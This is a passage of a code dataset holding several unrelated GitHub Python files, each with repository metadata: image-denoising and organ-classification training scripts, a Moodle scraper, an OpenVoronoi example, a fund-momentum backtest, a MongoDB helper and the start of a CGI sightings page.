client.add_cog(Setup(client))\n","repo_name":"DanTm99/gpt2-bot","sub_path":"cogs/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"86"} +{"seq_id":"18161862846","text":"import argparse\nimport torch.optim as optim\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\nfrom models import *\nfrom dataset import *\nfrom utils import *\nfrom datetime import datetime\nfrom ssim import *\n\n\nos.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\nparser = argparse.ArgumentParser(description=\"DnCNN\")\nparser.add_argument(\"--preprocess\", type=bool, default=False, help='run prepare_data or not')\nparser.add_argument(\"--batchSize\", type=int, default=1, help=\"Training batch size\")\nparser.add_argument(\"--patch\", type=int, default=128, help=\"Number of total layers\")\nparser.add_argument(\"--epochs\", type=int, default=300, help=\"Number of training epochs\")\nparser.add_argument(\"--start_epochs\", type=int, default=60, help=\"Number of training epochs\")\nparser.add_argument(\"--start_iters\", type=int, default=0, help=\"Number of training epochs\")\nparser.add_argument(\"--resume\", type=str, default=\"/home/user/depthMap/ksm/CVPR/demoire/logs/48_40.50146.pth\",\n help=\"Number of training epochs\")\nparser.add_argument(\"--step\", type=int, default=30, help=\"When to decay learning rate; should be less than epochs\")\nparser.add_argument(\"--lr\", type=float, default=1e-4, help=\"Initial learning rate\")\nparser.add_argument(\"--decay\", type=int, default=10, help=\"Initial learning rate\")\nparser.add_argument(\"--outf\", type=str, default=\"/home/user/depthMap/ksm/CVPR/demoire/checkpoint\",\n help='path of log files')\nparser.add_argument(\"--mode\", type=str, default=\"S\", help='with known noise level (S) or blind training (B)')\nopt = parser.parse_args()\n\n\ndef main():\n # Load dataset\n print('Loading dataset ...\\n')\n dataset_train = DatasetBurst(train=True)\n dataset_val = DatasetBurst(train=False)\n loader_train = DataLoader(dataset=dataset_train, num_workers=4, batch_size=opt.batchSize, shuffle=False)\n loader_val = DataLoader(dataset=dataset_val, num_workers=4, batch_size=1, shuffle=False)\n # print(opt.batchSize)\n print(\"# of training samples: %d\\n\" % int(len(dataset_train)))\n # Build model\n # net = DnCNN(channels=1, num_of_layers=opt.num_of_layers)\n model = Net().cuda()\n # s = MSSSIM()\n criterion = nn.L1Loss().cuda()\n burst = BurstLoss().cuda()\n # vgg = Vgg16(requires_grad=False).cuda()\n # vgg = VGG('54').cuda()\n # Move to GPU\n # model = nn.DataParallel(net, device_ids=device_ids).cuda()\n # '''\n if opt.resume:\n model.load_state_dict(torch.load(opt.resume))\n # test.main(model)\n # return\n # '''\n # summary(model, (3, 128, 128))\n # Optimizer\n optimizer = optim.Adam(model.parameters(), lr=opt.lr)\n psnr_max = 0\n loss_min = 1\n for epoch in range(opt.start_epochs, opt.epochs):\n # current_lr = opt.lr * ((1 / opt.decay) ** ((epoch - opt.start_epochs) // opt.step))\n current_lr = opt.lr * ((1 / opt.decay) ** (epoch // opt.step))\n # set learning rate\n for param_group in optimizer.param_groups:\n param_group[\"lr\"] = current_lr\n print('learning rate %f' % current_lr)\n # train\n for i, (imgn_train, img_train) in enumerate(loader_train, 0):\n if i < opt.start_iters:\n continue\n # training step\n model.train()\n model.zero_grad()\n optimizer.zero_grad()\n img_train, imgn_train = Variable(img_train.cuda()), Variable(imgn_train.cuda())\n out_train = model(imgn_train)\n # feat_x = vgg(imgn_train)\n # feat_y = vgg(out_train)\n # perceptual_loss = criterion(feat_y.relu2_2, feat_x.relu2_2)\n # perceptual_loss = vgg(out_train, img_train)\n loss_color = color_loss(out_train, img_train)\n loss_content = criterion(out_train, img_train)\n loss_burst = burst(out_train, img_train)\n m = [5, 5, 0]\n loss = torch.div(m[0] * loss_color.cuda() + m[1] * loss_content.cuda() + m[2] * loss_burst.cuda(), 10)\n loss.backward()\n optimizer.step()\n # '''\n # if you are using older version of PyTorch, you may need to change loss.item() to loss.data[0]\n if i % int(len(loader_train)//5) == 0:\n # the end of each epoch\n model.eval()\n # validate\n psnr_val = 0\n for _, (imgn_val, img_val) in enumerate(loader_val, 0):\n with torch.no_grad():\n img_val, imgn_val = Variable(img_val.cuda()), Variable(imgn_val.cuda())\n out_val = torch.clamp(model(imgn_val), 0., 1.)\n psnr_val += batch_PSNR(out_val, img_val, 1.)\n psnr_val /= len(dataset_val)\n now = datetime.now()\n print(\"[epoch %d][%d/%d] loss: %.6f PSNR_val: %.4f\" %\n (epoch+1, i+1, len(loader_train), loss.item(), psnr_val), end=' ')\n print(now.year, now.month, now.day, now.hour, now.minute, now.second)\n if psnr_val > psnr_max or loss < loss_min:\n psnr_max = psnr_val\n loss_min = loss\n torch.save(model.state_dict(), os.path.join(opt.outf, 'net_' + str(round(psnr_val, 4)) + '.pth'))\n # '''\n torch.save(model.state_dict(), os.path.join(opt.outf, 'net_' + str(round(psnr_val, 4)) + '.pth'))\n\n\nif __name__ == \"__main__\":\n if opt.preprocess:\n if opt.mode == 'S':\n prepare_data(data_path='data', patch_size=opt.patch, stride=opt.patch, aug_times=1)\n if opt.mode == 'B':\n prepare_data(data_path='data', patch_size=50, stride=10, aug_times=2)\n main()\n","repo_name":"bmycheez/C3Net","sub_path":"Burst/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5736,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"86"} +{"seq_id":"1520473743","text":"import logging\nfrom bs4 import BeautifulSoup\n\nfrom moodle_cli.constants import *\nfrom .extractor import Extractor\n\nclass FolderExtractor(Extractor):\n\n\tdef __init__(self, *args, **kw):\n\t\tsuper().__init__(*args, **kw)\n\n\tdef extract(self, resource):\n\t\tres = self.extract_title_and_url(resource, redirect=False)\n\t\t\n\t\tr = self._session.get(res['url'])\n\t\tif r.status_code != 200:\n\t\t\traise RuntimeError('Failed to extract folder: {0}'.format(res['title']))\n\t\tsoup = BeautifulSoup(r.text, 'html.parser')\n\t\tfiles = []\n\t\t\n\t\tfor entry in soup.select('span.fp-filename-icon a'):\n\t\t\tfiles.append({\n\t\t\t\t'url': entry['href'],\n\t\t\t\t'filename': entry.select_one('span.fp-filename').text\n\t\t\t})\n\t\t\n\t\tres['files'] = files\n\t\t\n\t\treturn res\n","repo_name":"yveskaufmann/moodle_cli","sub_path":"moodle_cli/extractors/folder.py","file_name":"folder.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"86"} +{"seq_id":"32282848323","text":"import openvoronoi as ovd\nimport ovdvtk # comes with openvoronoi\nimport time\nimport vtk\nimport datetime\nimport math\nimport random\nimport os\nimport sys\nimport pickle\nimport gzip\nimport ovdgenerators as gens # comes with openvoronoi\nimport randompolygon as rpg # random polygon generator see https://github.com/aewallin/CGAL_RPG\n\n\ndef draw_vd(vd, times):\n # w=2500\n # h=1500\n\n # w=1920\n # h=1080\n w = 1024\n h = 1024\n myscreen = ovdvtk.VTKScreen(width=w, height=h)\n ovdvtk.drawOCLtext(myscreen, rev_text=ovd.version())\n\n w2if = vtk.vtkWindowToImageFilter()\n w2if.SetInput(myscreen.renWin)\n lwr = vtk.vtkPNGWriter()\n lwr.SetInputConnection(w2if.GetOutputPort())\n # w2if.Modified()\n # lwr.SetFileName(\"tux1.png\")\n\n scale = 1\n myscreen.render()\n far = 1\n camPos = far\n zmult = 3\n # camPos/float(1000)\n myscreen.camera.SetPosition(0, -camPos / float(1000), zmult * camPos)\n myscreen.camera.SetClippingRange(-(zmult + 1) * camPos, (zmult + 1) * camPos)\n myscreen.camera.SetFocalPoint(0.0, 0, 0)\n\n # for vtk visualization\n vod = ovdvtk.VD(myscreen, vd, float(scale), textscale=0.01, vertexradius=0.003)\n vod.drawFarCircle()\n vod.textScale = 0.02\n vod.vertexRadius = 0.0031\n vod.drawVertices = 0\n vod.drawVertexIndex = 0\n vod.drawGenerators = 0\n vod.offsetEdges = 0\n vd.setEdgeOffset(0.05)\n # times=[]\n # times.append( 1 )\n # times.append( 1 )\n\n vod.setVDText2(times)\n\n vod.setAll()\n\n myscreen.render()\n # w2if.Modified()\n # lwr.SetFileName(\"{0}.png\".format(Nmax))\n # lwr.Write()\n\n myscreen.iren.Start()\n\n\ndef rpg_vd(Npts, seed, debug):\n far = 1\n\n vd = ovd.VoronoiDiagram(far, 120)\n vd.reset_vertex_count()\n poly = rpg.rpg(Npts, seed)\n\n pts = []\n for p in poly:\n ocl_pt = ovd.Point(p[0], p[1])\n pts.append(ocl_pt)\n print(ocl_pt)\n\n times = []\n id_list = []\n m = 0\n t_before = time.time()\n for p in pts:\n # print \" adding vertex \",m\n id_list.append(vd.addVertexSite(p))\n m = m + 1\n \"\"\"\n print \"polygon is: \"\n for idx in id_list:\n print idx,\" \",\n print \".\"\n \"\"\"\n t_after = time.time()\n times.append(t_after - t_before)\n\n # print \" pts inserted in \", times[0], \" s\"\n # print \" vd-check: \",vd.check()\n if (debug):\n vd.debug_on()\n\n t_before = time.time()\n for n in range(len(id_list)):\n n_nxt = n + 1\n if n == (len(id_list) - 1):\n n_nxt = 0 # point 0 is the endpoint of the last segment\n # print \" adding line-site \", id_list[n],\" - \", id_list[n_nxt]\n vd.addLineSite(id_list[n], id_list[n_nxt])\n t_after = time.time()\n times.append(t_after - t_before)\n\n print(\" segs inserted in \", times[1], \" s\")\n is_valid = vd.check()\n print(\" vd-check: \", is_valid)\n\n return [is_valid, vd, times]\n\n\ndef loop_run(Npts, max_seed, debug=False, debug_seed=-1):\n # Npts = 3\n # max_seed = 1000\n seed_range = list(range(max_seed))\n for seed in seed_range:\n debug2 = debug\n if (seed == debug_seed):\n print(\"debug seed!\")\n debug2 = True\n result = rpg_vd(Npts, seed, debug2)\n print(\"N=\", Npts, \" s=\", seed, \" ok?=\", result)\n assert (result[0] == True)\n\n\ndef single_run(Npts, seed, debug=False):\n result = rpg_vd(Npts, seed, debug)\n print(\"N=\", Npts, \" s=\", seed, \" ok?=\", result)\n assert (result[0] == True)\n return result\n\n\nif __name__ == \"__main__\":\n # loop_run(50,300)\n\n r = single_run(50, int(37))\n vd = r[1]\n pi = ovd.PolygonInterior(True)\n vd.filter_graph(pi)\n\n draw_vd(vd, r[2])\n","repo_name":"aewallin/openvoronoi","sub_path":"python_examples/chain_3_rpg_loop.py","file_name":"chain_3_rpg_loop.py","file_ext":"py","file_size_in_byte":3661,"program_lang":"python","lang":"en","doc_type":"code","stars":186,"dataset":"github-code","pt":"86"} +{"seq_id":"72651733725","text":"from Strategy import *\nfrom Strategy_func import save_results\n\n''' 测试代码是否准确'''\n'''\nraw = pd.read_excel(\"data/data.xlsx\", index_col=0)\nindexes = Indexdata(raw)\n# print(indexes.returns())\n\nsz800 = Indexdata(raw[\"中证800\"])\n# print(sz800.values())\n\nbroad_index = Indexdata(raw.iloc[:, :7])\nindustry_index = Indexdata(raw.iloc[:, -8:])\n\nmm1 = Momentum(broad_index, industry_numbers=1).std_momentum()\nmm2 = Momentum(industry_index, industry_numbers=2).std_momentum()\n\nstrategy_return = 0.5 * mm1[0] + 0.5 * mm2[0]\nstrategy_value = stdfunc.values(strategy_return)\n\nperform1 = Evaluation(strategy_value, strategy_return)\nperform1.earnings_lost(sz800.returns())\nprint(perform1.performance(0.0))\n'''\n\n\n''' 南方基金轮动 '''\n\nnanfang_funds = pd.read_excel(\"data/南方基金宽基.xlsx\", index_col=0)\n\nindexes = Indexdata(nanfang_funds)\nreturns = indexes.returns()\ntime_steps = indexes.time_interval()\n\n# 分别建立indexdata对象\nbroad_index = Indexdata(nanfang_funds.iloc[:, :8])\nindustry_index = Indexdata(nanfang_funds.iloc[:, 9:])\n\n# 计算中证800收益\nSZ800 = Indexdata(nanfang_funds[\"中证800\"])\nSZ800_netvalue = SZ800.values()\n\n# 图1\n'''\nb1 = Indexdata(Momentum(broad_index, 1, \"month\").std_momentum()[1])\nb2 = Indexdata(Momentum(broad_index, 2, \"month\").std_momentum()[1])\nb3 = Indexdata(Momentum(broad_index, 3, \"month\").std_momentum()[1])\ntarget = Indexdata(SZ800_netvalue)\nb1.draw()\nb2.draw()\nb3.draw()\ntarget.draw()\nplt.legend([\"N=1\", \"N=2\", \"N=3\", \"SZ800\"])\nplt.show()\n'''\n'''\n# 图2\ni1 = Indexdata(Momentum(industry_index, 1, \"month\").std_momentum()[1])\ni2 = Indexdata(Momentum(industry_index, 2, \"month\").std_momentum()[1])\ni3 = Indexdata(Momentum(industry_index, 3, \"month\").std_momentum()[1])\ntarget = Indexdata(SZ800_netvalue)\ni1.draw()\ni2.draw()\ni3.draw()\ntarget.draw()\nplt.legend([\"N=1\", \"N=2\", \"N=3\", \"SZ800\"])\nplt.show()\n'''\n\n\n'''\nbroad_momentum = Momentum(broad_index, 1, \"month\")\nindustry_momentum = Momentum(industry_index, 3, \"month\")\n\n# 策略收益\nmomentum_returns = 1/2 * broad_momentum.std_momentum()[0] + 1/2 * industry_momentum.std_momentum()[0]\nmomentum_value = stdfunc.values(momentum_returns)\n\n# 将策略净值也转换成indexdata对象, 然后画图\nvalues = Indexdata(momentum_value)\ntarget = Indexdata(SZ800_netvalue)\nvalues.draw()\ntarget.draw()\nplt.show()\nplt.legend([\"Strategy\", \"SZ800\"])\n\n# 输出盈亏比和胜率\nmm_perform = Evaluation(momentum_value, momentum_returns)\nmm_perform.earnings_lost(SZ800.returns())\n\n# 保存数据\nsz_perform = Evaluation(SZ800.values(), SZ800.returns())\nperform = pd.DataFrame()\nperform = perform.append([mm_perform.performance()])\nperform = perform.append([sz_perform.performance()])\nperform.columns = [\"最大回撤\", \"年化收益\", \"年化波动率\", \"夏普比率\", \"Calmar比率\"]\nperform.index = ['策略', '中证800']\nsave_results(perform, \"指标评测_南方基金.xlsx\")\n'''\n\n''' 季度数据'''\n\n\nbroad_momentum = Momentum(broad_index, 1, freq=\"s\")\nindustry_momentum = Momentum(industry_index, 2, freq=\"s\")\n\n# 策略收益\nmomentum_returns = 0 * broad_momentum.std_momentum()[0] + 1/2 * industry_momentum.std_momentum()[0]\nmomentum_value = stdfunc.values(momentum_returns)\n\n# 输出盈亏比和胜率\nmm_perform = Evaluation(momentum_value, momentum_returns)\nmm_perform.earnings_lost(SZ800.returns())\n\n# 保存数据\nsz_perform = Evaluation(SZ800.values(), SZ800.returns())\nperform = pd.DataFrame()\nperform = perform.append([mm_perform.performance()])\nperform = perform.append([sz_perform.performance()])\nperform.columns = [\"最大回撤\", \"年化收益\", \"年化波动率\", \"夏普比率\", \"Calmar比率\"]\nperform.index = ['策略', '中证800']\nsave_results(perform, \"指标评测_南方基金.xlsx\")\n\n''' 新策略 '''\n\n'''\nsignals = pd.read_excel(\"data/signals.xlsx\", index_col=0)\n\nmm2 = SignalMomentum(broad_index, 1, \"month\", signal=signals, signal_type=\"single\")\nvalues = mm2.sig_momentum()[0]\nprint(values)\n\nmm3 = SignalMomentum(broad_index, 1, \"month\", signal=signals, signal_type=\"multiple\")\nvalues = mm3.sig_momentum()[0]\nprint(values)\n\nmm4 = SignalMomentum(broad_index, 1, \"month\", signal=signals, signal_type=\"proportional\")\nvalues = mm4.sig_momentum()[0]\nprint(values)\n\nmm5 = SignalMomentum(broad_index, 1, \"month\", signal=signals, signal_type=\"stop\")\nvalues = mm5.sig_momentum()[0]\nprint(values)\n'''","repo_name":"YoungeWu/Momentum","sub_path":"TestStrategy.py","file_name":"TestStrategy.py","file_ext":"py","file_size_in_byte":4327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"42584187234","text":"f = open('legacy.txt')\nlines = [ x for x in f.readlines() if x[:10] == ' ' ]\nf.close()\n\nnums = [ float(x[10:-1]) for x in lines ]\nprint(nums)\n\n#res = [ [ 0 for x in range(29) ] for x in range(29) ]\nfo = open('output.csv', 'w')\nfor i in range(29):\n\tarr = nums[ (i*29):((i+1)*29) ]\n\tarr[0], arr[i] = arr[i], arr[0]\n\tarr[1:] = sorted(arr[1:])\n\tprint(arr)\n\tfo.write( \",\".join( tuple(map(str, arr)) ) + '\\n' )\nfo.close()\n","repo_name":"nesl/mercury","sub_path":"Analysis/PathFinding/dtwRankOnReal/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"86"} +{"seq_id":"10790878179","text":"import motor.motor_asyncio\nimport pymongo\n\nMONGO_DETAILS = \"mongodb://root:root@localhost:27017\"\n\nclient = motor.motor_asyncio.AsyncIOMotorClient(MONGO_DETAILS)\n\ndatabase = client.news\n\nnews_collection = database.get_collection(\"articles\")\n\n\n\n# # pymongo\n# client = pymongo.MongoClient(\"mongodb://root:root@localhost:27017/admin\")\n# # news 데이터베이스를 생성합니다.\n# db = client[\"news\"]\n# # articles 콜렉션을 생성합니다.\n# col = db[\"articles\"]\n\ndef article_helper(article) -> dict:\n return {\n \"id\": str(article[\"_id\"]),\n \"title\": article[\"title\"],\n \"link\": article[\"link\"],\n \"desc\": article[\"desc\"],\n \"source\": article[\"source\"],\n \"data\": article[\"date\"],\n }\n\n\nasync def retrieve_articles():\n articles = []\n async for article in news_collection.find():\n articles.append(article_helper(article))\n return articles","repo_name":"joohuun/Python","sub_path":"FastAPI/hts/app/server/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"86"} +{"seq_id":"31206539027","text":"import numpy as np\nimport pandas as pd\nimport torch\nfrom torch import nn\nfrom torchvision import models , transforms\nimport json\nfrom torch.utils.data import Dataset, DataLoader ,random_split\nfrom PIL import Image\nfrom pathlib import Path\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\n\nfrom tqdm import trange\nfrom tqdm import tqdm\nfrom sklearn.metrics import precision_score,f1_score\nimport copy\n\nfrom transformers import get_cosine_schedule_with_warmup\n\nfrom data_processing import get_df_train_coord\n\nimport nibabel as nb\nfrom sklearn.model_selection import train_test_split\nfrom matplotlib import pyplot as plt\n\nfrom sklearn.metrics import precision_score, recall_score\nfrom collections import defaultdict\n\nimport matplotlib.pyplot as plt\n\nclassLabels = [\n \"liver\",\n \"kidney-r\",\n \"kidney-l\",\n \"femur-r\",\n \"femur-l\",\n \"bladder\",\n \"heart\",\n \"lung-r\",\n \"lung-l\",\n \"spleen\",\n \"pancreas\",\n ]\n\n\ndef create_head(num_features, number_classes, dropout_prob=0.5, activation_func=nn.ReLU):\n features_lst = [num_features, num_features // 2, num_features // 4]\n layers = []\n for in_f, out_f in zip(features_lst[:-1], features_lst[1:]):\n layers.append(nn.Linear(in_f, out_f))\n layers.append(activation_func())\n layers.append(nn.BatchNorm1d(out_f))\n if dropout_prob != 0: layers.append(nn.Dropout(dropout_prob))\n layers.append(nn.Linear(features_lst[-1], number_classes))\n return nn.Sequential(*layers)\n\n\ndef ResNet18_with_head(device):\n\n model = models.resnet18(pretrained=False)\n num_features = model.fc.in_features\n\n top_head = create_head(num_features, len(classLabels))\n model.fc = top_head\n\n model = model.to(device)\n \n # checkpoint = torch.load(\"/home/upayuryeva/workfolder/test/lits/src/chkpts/epoch-2-acc-0.33\")\n # model.load_state_dict(checkpoint[\"model\"])\n\n return model\n\n\ndef get_batch(df, idx, person):\n\n transform = transforms.Compose([\n transforms.ToPILImage(),\n transforms.Resize((256, 256)),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n ])\n\n df_batch = df[df[\"batch_num\"] == idx]\n curr_img_path = df_batch.iloc[0]['img_path']\n img_3d = nb.load(curr_img_path).get_fdata()\n batch_img = []\n batch_lbl = []\n for i, row in df_batch.iterrows():\n # if row[\"person\"] != person:\n # print(row[\"person\"])\n # person = row[\"person\"]\n if row['img_path'] != curr_img_path:\n curr_img_path = row['img_path']\n img_3d = nb.load(curr_img_path).get_fdata()\n if row['xyz'] == 'x':\n image = img_3d[row['coord'], :, :]\n if row['xyz'] == 'y':\n image = img_3d[:, row['coord'], :]\n if row['xyz'] == 'z':\n image = img_3d[:, :, row['coord']]\n\n label = torch.tensor(row[[str(el) for el in list(range(1, 12))]].tolist(), dtype=torch.float32)\n\n image = np.expand_dims(image, axis=2)\n image = np.repeat(image, 3, axis=2).T\n image = torch.as_tensor(image, dtype=torch.float)\n image = transform(image)\n batch_img.append(image)\n batch_lbl.append(label)\n yield (\n torch.stack(batch_img),\n torch.stack(batch_lbl)\n )\n\n\ndef train(model, device, train_df, test_df, batch_size, criterion, optimizer, scheduler, num_epochs=10): # scheduler,\n\n train_df[\"batch_num\"] = [i // batch_size for i in range(train_df.shape[0])]\n test_df[\"batch_num\"] = [i // batch_size for i in range(test_df.shape[0])]\n person = 0\n best_model_wts = copy.deepcopy(model.state_dict())\n best_acc = 0.0\n\n train_loss_plot = []\n test_loss_plot= []\n\n\n for epoch in trange(num_epochs, desc=\"Epochs\"):\n result = []\n for phase in ['train', 'val']:\n if phase == \"train\": # put the model in training mode\n model.train()\n len_data_train = 0\n else: # put the model in validation mode\n model.eval()\n len_data_test = 0\n\n # keep track of training and validation loss\n running_loss = 0.0\n running_corrects = 0.0\n score_by_label = np.zeros(11)\n if phase == 'train':\n df_t = train_df.copy()\n else:\n df_t = test_df.copy()\n \n recalls = defaultdict(list)\n precisions = defaultdict(list)\n scores_labels = defaultdict(list)\n scores = [0] * 199\n\n for i in trange(df_t[\"batch_num\"].max()):\n batch = get_batch(df_t, i, person)\n if phase == 'train':\n len_data_train += batch_size\n else:\n len_data_test += batch_size\n for data, target in batch:\n # for data, target in tqdm(dataloader[phase]):\n # load the data and target to respective device\n\n data, target = data.to(device), target.to(device)\n\n with torch.set_grad_enabled(phase == \"train\"):\n optimizer.zero_grad()\n\n output = model(data)\n # print(output)\n # print(target)\n loss = criterion(output, target)\n # print(output[:, 0])\n # print(output.shape)\n if phase == \"train\":\n loss.backward()\n\n optimizer.step()\n\n running_loss += loss.item() * data.size(0)\n\n for idx_thrs, sigmoid_thr in enumerate(np.arange(0.005, 1, 0.005)):\n preds = torch.sigmoid(output).data > sigmoid_thr\n preds = preds.to(torch.float32)\n for j in range(1, 12):\n if len(recalls[j]) == 0:\n recalls[j] = [0] * 199\n precisions[j] = [0] * 199\n scores_labels[j] = [0] * 199\n recalls[j][idx_thrs] = recalls[j][idx_thrs] + (\n recall_score(\n target.to(\"cpu\").to(torch.int).numpy()[:, j-1],\n preds.to(\"cpu\").to(torch.int).numpy()[:, j-1],\n zero_division=1\n )\n )\n precisions[j][idx_thrs] = precisions[j][idx_thrs] + (\n precision_score(\n target.to(\"cpu\").to(torch.int).numpy()[:, j-1],\n preds.to(\"cpu\").to(torch.int).numpy()[:, j-1],\n zero_division=1\n )\n )\n scores_labels[j][idx_thrs] = scores_labels[j][idx_thrs] + (\n f1_score(\n target.to(\"cpu\").to(torch.int).numpy()[:, j-1],\n preds.to(\"cpu\").to(torch.int).numpy()[:, j-1],\n zero_division=1\n )\n )\n\n scores[idx_thrs] = scores[idx_thrs] + (\n f1_score(\n target.to(\"cpu\").to(torch.int).numpy(),\n preds.to(\"cpu\").to(torch.int).numpy(),\n average=\"samples\", zero_division=1\n )\n )\n \n preds = torch.sigmoid(output).data > 0.75\n preds = preds.to(torch.float32)\n score = f1_score(\n target.to(\"cpu\").to(torch.int).numpy(),\n preds.to(\"cpu\").to(torch.int).numpy(),\n average=\"samples\", zero_division=1\n ) * data.size(0)\n\n score_by_label_local = f1_score(\n target.to(\"cpu\").to(torch.int).numpy(),\n preds.to(\"cpu\").to(torch.int).numpy(),\n average=None, zero_division=1\n ) * data.size(0)\n running_corrects += score\n score_by_label = score_by_label + score_by_label_local\n\n if phase==\"train\":\n scheduler.step()\n\n # print(score)\n\n if phase == 'train':\n epoch_shape = train_df.shape[0]\n epoch_loss = running_loss / epoch_shape\n train_loss_plot.append(epoch_loss)\n epoch_acc = running_corrects / epoch_shape\n epoch_by_label = score_by_label / epoch_shape\n else:\n epoch_shape = test_df.shape[0]\n epoch_loss = running_loss / epoch_shape\n test_loss_plot.append(epoch_loss)\n epoch_acc = running_corrects / epoch_shape\n epoch_by_label = score_by_label / epoch_shape\n if epoch_acc > best_acc:\n best_acc = epoch_acc\n state = {\n 'epoch': epoch, \n 'model': model.state_dict(), \n 'optimizer': optimizer.state_dict(),\n 'scheduler': scheduler.state_dict()\n }\n torch.save(state, f\"/home/upayuryeva/workfolder/test/lits/src/chkpts/epoch-{epoch+13}-acc-{round(best_acc, 2)}\")\n # best_model_wts = copy.deepcopy(model.state_dict())\n fig, axs = plt.subplots(3, 4, figsize=(15, 15))\n for j in range(1, 12):\n #create precision recall curve\n axs[(j-1) // 4 , (j-1) % 4].set(\n title=f'Precision-Recall Curve {classLabels[j-1]}', ylabel='Precision', xlabel=\"Recall\") \n\n axs[(j-1) // 4 , (j-1) % 4].plot(\n np.array(recalls[j])/df_t[\"batch_num\"].max(), \n np.array(precisions[j])/df_t[\"batch_num\"].max(), \n color='purple'\n )\n fig, axs = plt.subplots(3, 4, figsize=(15, 15))\n for j in range(1, 12):\n #create precision recall curve\n axs[(j-1) // 4 , (j-1) % 4].set(\n title=f'F-1 for {classLabels[j-1]}', ylabel='F1', xlabel=\"Threshold\") \n\n axs[(j-1) // 4 , (j-1) % 4].plot(\n np.arange(0.005, 1, 0.005), \n np.array(scores_labels[j])/df_t[\"batch_num\"].max(), \n color='purple'\n )\n\n \n\n #display plot\n \n plt.show()\n\n fig, ax = plt.subplots() \n ax.plot(np.arange(0.005, 1, 0.005), np.array(scores)/df_t[\"batch_num\"].max(), color='purple')\n\n #add axis labels to plot\n ax.set_title('Scores')\n ax.set_ylabel('F-1')\n ax.set_xlabel('Threshold')\n\n print(np.array(scores)/df_t[\"batch_num\"].max())\n\n #display plot\n plt.show()\n\n result.append('{} Loss: {:.4f} Acc: {:.4f}'.format(phase, epoch_loss, epoch_acc))\n print()\n print(result)\n print()\n # print(display(\n # pd.DataFrame(\n # np.array([epoch_by_label]),\n # columns=classLabels)\n # )\n # )\n print(epoch_by_label)\n print(classLabels)\n fig, ax = plt.subplots() \n ax.plot(np.array(train_loss_plot), color='blue')\n ax.plot(np.array(test_loss_plot), color='red')\n\n #add axis labels to plot\n ax.set_title('Scores')\n ax.set_ylabel('Loss')\n ax.set_xlabel('Epoch')\n\n #display plot\n plt.show()\n total_norm = 0\n parameters = [p for p in model.parameters() if p.grad is not None and p.requires_grad]\n for p in parameters:\n param_norm = p.grad.detach().data.norm(2)\n total_norm += param_norm.item() ** 2\n total_norm = total_norm ** 0.5\n print('Norm grad', total_norm)\n \n\n print(f'Best val Acc: {best_acc:4f}')\n model.load_state_dict(state[\"model\"])\n\n torch.save(state, f\"/home/upayuryeva/workfolder/test/lits/src/chkpts/epoch-{num_epochs}-acc-{round(best_acc, 2)}\")\n\n\ndef train_multilabel():\n data_directory = \"directory\"\n data = Path(data_directory, \"train.csv\")\n df = pd.read_csv(data)\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\n model = ResNet18_with_head(device)\n\n train_df = df[df['person'].isin(set(range(20, 55)))].copy()\n # train_df = train_df.iloc[:train_df.shape[0] // 2]\n test_df = df[df['person'].isin(set(range(105, 110)))].copy()\n # test_df = test_df.iloc[:test_df.shape[0] // 2]\n # train_df = df[df['person'].isin(set(range(0, 3)))].copy()\n # test_df = df[df['person'].isin(set(range(3, 5)))].copy()\n\n weight_list = ((train_df.shape[0] - train_df[[str(el) for el in list(range(1, 12))]].sum()) / train_df[[str(el) for el in list(range(1, 12))]].sum()).to_list()\n\n pos_weights = torch.as_tensor(weight_list, dtype=torch.float, device=device)\n criterion = nn.BCEWithLogitsLoss(pos_weight=pos_weights)\n optimizer = optim.Adam(model.parameters(), lr=0.001)\n batch_size = 512\n scheduler = get_cosine_schedule_with_warmup(optimizer, num_training_steps=train_df.shape[0], num_warmup_steps=round(train_df.shape[0]*0.05))\n\n train(model, device, train_df, test_df, batch_size=batch_size, criterion=criterion, optimizer=optimizer, scheduler=scheduler, num_epochs=15)\n # sgdr_partial = lr_scheduler.CosineAnnealingLR(optimizer, T_max=5, eta_min=0.005 )\n # exp_lr_scheduler = lr_scheduler.StepLR(optimizer, step_size=5, gamma=0.1)\n\nif __name__ == '__main__':\n train_multilabel()","repo_name":"upayuryeva/Master-Thesis","sub_path":"src/train_check_scores.py","file_name":"train_check_scores.py","file_ext":"py","file_size_in_byte":14375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"26899394364","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport cgi\nimport cgitb\nfrom avistamientos_db_t3 import Avistamiento\nfrom datetime import datetime\n\ncgitb.enable()\n\nprint(\"Content-type: text/html\\r\\n\\r\\n\")\n\nutf8stdout = open(1, 'w', encoding='utf-8', closefd=False)\n\navisdb = Avistamiento()\navistamientos = avisdb.getAvistamientos()\nnewAv = []\nfor av in avistamientos:\n avList = []\n for i in range(len(av)):\n if i == 1:\n comuna = avisdb.getComuna(av[i])\n nameCom = comuna[0][0]\n avList.append(nameCom)\n elif i == 2:\n avList.append(av[i].strftime(\"%Y/%m/%d %H:%M\"))\n else:\n avList.append(av[i])\n av_id = avList[0]\n avList.append(avisdb.getTotalAvistamientos(av_id)[0][0])\n avList.append(avisdb.getTotalFotos(av_id)[0][0])\n newAv.append(avList)\n#print(newAv)\n\ndetAv = avisdb.getDetalleAvistamientos()\nnewDetAv = []\nfor info in detAv:\n infoList = []\n for i in range(len(info)):\n if i == 1:\n infoList.append(info[i].strftime(\"%Y/%m/%d %H:%M\"))\n else:\n 